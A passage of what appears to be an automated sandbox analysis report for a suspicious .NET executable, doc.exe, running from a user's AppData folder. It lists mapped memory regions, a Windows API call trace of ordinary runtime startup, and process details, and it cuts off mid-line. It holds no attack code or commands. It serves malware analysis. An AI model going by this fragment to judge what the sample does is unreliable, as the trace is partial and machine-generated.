end_va = 0x73bd6fff monitored = 0 entry_point = 0x73bc3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3023 start_va = 0x460000 end_va = 0x49bfff monitored = 0 entry_point = 0x46128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3024 start_va = 0x460000 end_va = 0x49bfff monitored = 0 entry_point = 0x46128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3025 start_va = 0x460000 end_va = 0x49bfff monitored = 0 entry_point = 0x46128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3026 start_va = 0x460000 end_va = 0x49bfff monitored = 0 entry_point = 0x46128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3027 start_va = 0x460000 end_va = 0x49bfff monitored = 0 entry_point = 0x46128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3033 start_va = 0x73b80000 end_va = 0x73bbafff monitored = 0 entry_point = 0x73b8128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3036 start_va = 0x460000 end_va = 0x4e1fff monitored = 0 entry_point = 0x4619a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3037 start_va = 0x460000 end_va = 0x4e1fff monitored = 0 entry_point = 0x4619a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3038 start_va = 0x63bc0000 end_va = 0x63c43fff monitored = 0 entry_point = 0x63bc19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3047 start_va = 0x1180000 end_va = 0x127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 3050 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3053 start_va = 0x639d0000 end_va = 0x63bb1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.visualbasic.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\a891970b44db9e340c3ef3efa95b793c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\a891970b44db9e340c3ef3efa95b793c\\microsoft.visualbasic.ni.dll") Region: id = 3156 start_va = 0x470000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3157 start_va = 0x11d0000 end_va = 0x120ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 3158 start_va = 0x1270000 end_va = 0x127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 3159 start_va = 0x4b30000 end_va = 0x4c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b30000" filename = "" Region: id = 3160 start_va = 0x4c90000 end_va = 0x4ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c90000" filename = "" Region: id = 3161 start_va = 0x5180000 end_va = 0x527ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005180000" filename = "" Region: id = 3162 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3163 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3173 start_va = 0x2a0000 end_va = 0x2adfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Thread: id = 225 os_tid = 0xd80 [0212.686] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0214.682] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x40eae0 | out: phkResult=0x40eae0*=0x0) returned 0x2 [0214.683] RegCloseKey (hKey=0x80000002) returned 0x0 [0214.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x40ed64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0215.096] IsAppThemed () returned 0x1 [0215.104] CoTaskMemAlloc (cb=0xf0) returned 0x6cb900 [0215.104] CreateActCtxA (pActCtx=0x40f288) returned 0x6ea12c [0215.277] CoTaskMemFree (pv=0x6cb900) [0215.290] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc20f [0215.290] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc21c [0216.999] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", nBufferLength=0x105, lpBuffer=0x40ebfc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", lpFilePart=0x0) returned 0x31 [0217.550] GetCurrentProcess () returned 0xffffffff [0217.550] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x40ef34 | out: TokenHandle=0x40ef34*=0x1f0) returned 1 [0217.560] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x40e9ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0217.571] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x40ef2c | out: lpFileInformation=0x40ef2c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0217.573] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x40e9b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.580] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x40ef34 | out: lpFileInformation=0x40ef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0217.582] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x40e954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x40ee6c) returned 1 [0217.585] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x40 [0217.585] GetFileType (hFile=0x40) returned 0x1 [0217.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x40ee68) returned 1 [0217.585] GetFileType (hFile=0x40) returned 0x1 [0217.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x40e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.703] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x40e20c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x40e44c) returned 1 [0217.704] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x40e710 | out: lpFileInformation=0x40e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0217.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x40e448) returned 1 [0218.453] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x40e5dc | out: pfEnabled=0x40e5dc) returned 0x0 [0218.623] GetFileSize (in: hFile=0x40, lpFileSizeHigh=0x40ef28 | out: lpFileSizeHigh=0x40ef28*=0x0) returned 0x8c8e [0218.624] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x40eee4, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x40eee4*=0x1000, lpOverlapped=0x0) returned 1 [0218.747] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x40ed94, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x40ed94*=0x1000, lpOverlapped=0x0) returned 1 [0218.750] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x40ec48, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x40ec48*=0x1000, lpOverlapped=0x0) returned 1 [0218.751] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x40ec48, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x40ec48*=0x1000, lpOverlapped=0x0) returned 1 [0218.751] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x40ec48, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x40ec48*=0x1000, lpOverlapped=0x0) returned 1 [0218.752] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x40eb80, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x40eb80*=0x1000, lpOverlapped=0x0) returned 1 [0218.759] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x40ecec, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x40ecec*=0x1000, lpOverlapped=0x0) returned 1 [0218.760] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x40ebe0, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x40ebe0*=0x1000, lpOverlapped=0x0) returned 1 [0218.760] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x40ebe0, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x40ebe0*=0xc8e, lpOverlapped=0x0) returned 1 [0218.761] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x40eca4, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x40eca4*=0x0, lpOverlapped=0x0) returned 1 [0218.761] CloseHandle (hObject=0x40) returned 1 [0218.761] CloseHandle (hObject=0x1f0) returned 1 [0218.764] GetCurrentProcess () returned 0xffffffff [0218.764] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x40f080 | out: TokenHandle=0x40f080*=0x1f0) returned 1 [0218.765] CloseHandle (hObject=0x1f0) returned 1 [0218.765] GetCurrentProcess () returned 0xffffffff [0218.765] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x40f080 | out: TokenHandle=0x40f080*=0x1f0) returned 1 [0218.766] CloseHandle (hObject=0x1f0) returned 1 [0218.773] GetCurrentProcess () returned 0xffffffff [0218.773] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x40ef34 | out: TokenHandle=0x40ef34*=0x1f0) returned 1 [0218.774] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x40ef2c | out: lpFileInformation=0x40ef2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0218.774] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", nBufferLength=0x105, lpBuffer=0x40e9b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", lpFilePart=0x0) returned 0x31 [0219.023] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x40ef34 | out: lpFileInformation=0x40ef34*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0219.024] CloseHandle (hObject=0x1f0) returned 1 [0219.024] GetCurrentProcess () returned 0xffffffff [0219.024] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x40f080 | out: TokenHandle=0x40f080*=0x1f0) returned 1 [0219.025] CloseHandle (hObject=0x1f0) returned 1 [0219.026] GetCurrentProcess () returned 0xffffffff [0219.026] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x40f080 | out: TokenHandle=0x40f080*=0x1f0) returned 1 [0219.027] CloseHandle (hObject=0x1f0) returned 1 [0219.048] GetCurrentProcess () returned 0xffffffff [0219.048] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x40ee98 | out: TokenHandle=0x40ee98*=0x1f0) returned 1 [0219.118] CloseHandle (hObject=0x1f0) returned 1 [0219.118] GetCurrentProcess () returned 0xffffffff [0219.118] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x40eeb0 | out: TokenHandle=0x40eeb0*=0x1f0) returned 1 [0219.124] CloseHandle (hObject=0x1f0) returned 1 [0219.128] GetSystemMetrics (nIndex=75) returned 1 [0219.133] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0219.143] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772b0000 [0219.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AddDllDirectory", cchWideChar=15, lpMultiByteStr=0x40f17c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AddDllDirectory", lpUsedDefaultChar=0x0) returned 15 [0219.146] GetProcAddress (hModule=0x772b0000, lpProcName="AddDllDirectory") returned 0x773f1e91 [0219.146] LoadLibraryExW (lpLibFileName="comctl32.dll", hFile=0x0, dwFlags=0x800) returned 0x63bc0000 [0219.265] AdjustWindowRectEx (in: lpRect=0x40f2e4, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x40f2e4) returned 1 [0219.297] GetCurrentProcess () returned 0xffffffff [0219.297] GetCurrentThread () returned 0xfffffffe [0219.297] GetCurrentProcess () returned 0xffffffff [0219.297] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x40f1fc, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x40f1fc*=0x40) returned 1 [0219.303] GetCurrentThreadId () returned 0xd80 [0219.380] GetCurrentActCtx (in: lphActCtx=0x40f15c | out: lphActCtx=0x40f15c*=0x0) returned 1 [0219.380] ActivateActCtx (in: hActCtx=0x6ea12c, lpCookie=0x40f16c | out: hActCtx=0x6ea12c, lpCookie=0x40f16c) returned 1 [0219.383] GetModuleHandleW (lpModuleName="user32.dll") returned 0x766d0000 [0219.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x40f014, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW\x97]\r©¥9DþôeØô@", lpUsedDefaultChar=0x0) returned 14 [0219.384] GetProcAddress (hModule=0x766d0000, lpProcName="DefWindowProcW") returned 0x778f25dd [0219.385] GetStockObject (i=5) returned 0x1900015 [0219.393] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.405] CoTaskMemAlloc (cb=0x5c) returned 0x6da960 [0219.406] RegisterClassW (lpWndClass=0x40f004) returned 0xc21d [0219.406] CoTaskMemFree (pv=0x6da960) [0219.407] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.407] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0xa010c [0219.408] SetWindowLongW (hWnd=0xa010c, nIndex=-4, dwNewLong=2005870045) returned 80283862 [0219.410] GetWindowLongW (hWnd=0xa010c, nIndex=-4) returned 2005870045 [0219.453] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x40e918 | out: phkResult=0x40e918*=0x230) returned 0x0 [0219.454] RegQueryValueExW (in: hKey=0x230, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x40e938, lpData=0x0, lpcbData=0x40e934*=0x0 | out: lpType=0x40e938*=0x0, lpData=0x0, lpcbData=0x40e934*=0x0) returned 0x2 [0219.455] RegQueryValueExW (in: hKey=0x230, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x40e938, lpData=0x0, lpcbData=0x40e934*=0x0 | out: lpType=0x40e938*=0x0, lpData=0x0, lpcbData=0x40e934*=0x0) returned 0x2 [0219.455] RegCloseKey (hKey=0x230) returned 0x0 [0219.470] SetWindowLongW (hWnd=0xa010c, nIndex=-4, dwNewLong=80283902) returned 2005870045 [0219.470] GetWindowLongW (hWnd=0xa010c, nIndex=-4) returned 80283902 [0219.470] GetWindowLongW (hWnd=0xa010c, nIndex=-16) returned 113311744 [0219.472] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc21e [0219.472] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0xa010c, Msg=0x24, wParam=0x0, lParam=0x40ebf0) returned 0x0 [0219.473] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc21f [0219.473] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0xa010c, Msg=0x81, wParam=0x0, lParam=0x40ebe4) returned 0x1 [0219.473] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0xa010c, Msg=0x83, wParam=0x0, lParam=0x40ebd0) returned 0x0 [0219.473] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0xa010c, Msg=0x1, wParam=0x0, lParam=0x40ebe4) returned 0x0 [0219.474] GetClientRect (in: hWnd=0xa010c, lpRect=0x40e94c | out: lpRect=0x40e94c) returned 1 [0219.474] GetWindowRect (in: hWnd=0xa010c, lpRect=0x40e94c | out: lpRect=0x40e94c) returned 1 [0219.475] GetParent (hWnd=0xa010c) returned 0x0 [0219.476] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1c2f0001) returned 1 [0219.700] AdjustWindowRectEx (in: lpRect=0x40f29c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x40f29c) returned 1 [0219.701] AdjustWindowRectEx (in: lpRect=0x40f22c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x40f22c) returned 1 [0219.772] GetProcessWindowStation () returned 0x60 [0219.805] GetUserObjectInformationA (in: hObj=0x60, nIndex=1, pvInfo=0x285c9e0, nLength=0xc, lpnLengthNeeded=0x40f108 | out: pvInfo=0x285c9e0, lpnLengthNeeded=0x40f108) returned 1 [0219.809] SetConsoleCtrlHandler (HandlerRoutine=0x4c90926, Add=1) returned 1 [0219.809] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.810] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.813] GetClassInfoW (in: hInstance=0x1360000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x285ca44 | out: lpWndClass=0x285ca44) returned 0 [0219.816] CoTaskMemAlloc (cb=0x58) returned 0x6d06c8 [0219.816] RegisterClassW (lpWndClass=0x40f058) returned 0xc220 [0219.816] CoTaskMemFree (pv=0x6d06c8) [0219.818] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x30340 [0219.818] NtdllDefWindowProc_W () returned 0x1 [0219.827] NtdllDefWindowProc_W () returned 0x0 [0219.827] NtdllDefWindowProc_W () returned 0x0 [0219.828] NtdllDefWindowProc_W () returned 0x0 [0219.828] NtdllDefWindowProc_W () returned 0x0 [0219.846] GetSysColor (nIndex=10) returned 0xb4b4b4 [0219.846] GetSysColor (nIndex=2) returned 0xd1b499 [0219.846] GetSysColor (nIndex=9) returned 0x0 [0219.846] GetSysColor (nIndex=12) returned 0xababab [0219.846] GetSysColor (nIndex=15) returned 0xf0f0f0 [0219.846] GetSysColor (nIndex=20) returned 0xffffff [0219.846] GetSysColor (nIndex=16) returned 0xa0a0a0 [0219.846] GetSysColor (nIndex=15) returned 0xf0f0f0 [0219.846] GetSysColor (nIndex=16) returned 0xa0a0a0 [0219.847] GetSysColor (nIndex=21) returned 0x696969 [0219.847] GetSysColor (nIndex=22) returned 0xe3e3e3 [0219.847] GetSysColor (nIndex=20) returned 0xffffff [0219.847] GetSysColor (nIndex=18) returned 0x0 [0219.847] GetSysColor (nIndex=1) returned 0x0 [0219.847] GetSysColor (nIndex=27) returned 0xead1b9 [0219.847] GetSysColor (nIndex=28) returned 0xf2e4d7 [0219.847] GetSysColor (nIndex=17) returned 0x6d6d6d [0219.847] GetSysColor (nIndex=13) returned 0xff9933 [0219.847] GetSysColor (nIndex=14) returned 0xffffff [0219.847] GetSysColor (nIndex=26) returned 0xcc6600 [0219.847] GetSysColor (nIndex=11) returned 0xfcf7f4 [0219.847] GetSysColor (nIndex=3) returned 0xdbcdbf [0219.847] GetSysColor (nIndex=19) returned 0x544e43 [0219.847] GetSysColor (nIndex=24) returned 0xe1ffff [0219.847] GetSysColor (nIndex=23) returned 0x0 [0219.847] GetSysColor (nIndex=4) returned 0xf0f0f0 [0219.847] GetSysColor (nIndex=30) returned 0xf0f0f0 [0219.848] GetSysColor (nIndex=29) returned 0xff9933 [0219.848] GetSysColor (nIndex=7) returned 0x0 [0219.848] GetSysColor (nIndex=0) returned 0xc8c8c8 [0219.848] GetSysColor (nIndex=5) returned 0xffffff [0219.848] GetSysColor (nIndex=6) returned 0x646464 [0219.848] GetSysColor (nIndex=8) returned 0x0 [0219.894] AdjustWindowRectEx (in: lpRect=0x40f260, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x40f260) returned 1 [0219.894] GetSystemMetrics (nIndex=59) returned 1460 [0219.894] GetSystemMetrics (nIndex=60) returned 920 [0219.894] GetSystemMetrics (nIndex=34) returned 132 [0219.894] GetSystemMetrics (nIndex=35) returned 38 [0219.895] AdjustWindowRectEx (in: lpRect=0x40f160, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x40f160) returned 1 Thread: id = 228 os_tid = 0xda8 Thread: id = 230 os_tid = 0xd24 [0212.893] CoGetContextToken (in: pToken=0x103f4cc | out: pToken=0x103f4cc) returned 0x800401f0 [0212.893] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 232 os_tid = 0xcb8 Thread: id = 246 os_tid = 0x9e0 Thread: id = 247 os_tid = 0x9e4 Process: id = "10" image_name = "doc.exe" filename = "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe" page_root = "0x2880a000" os_pid = "0xd90" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xe48" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" 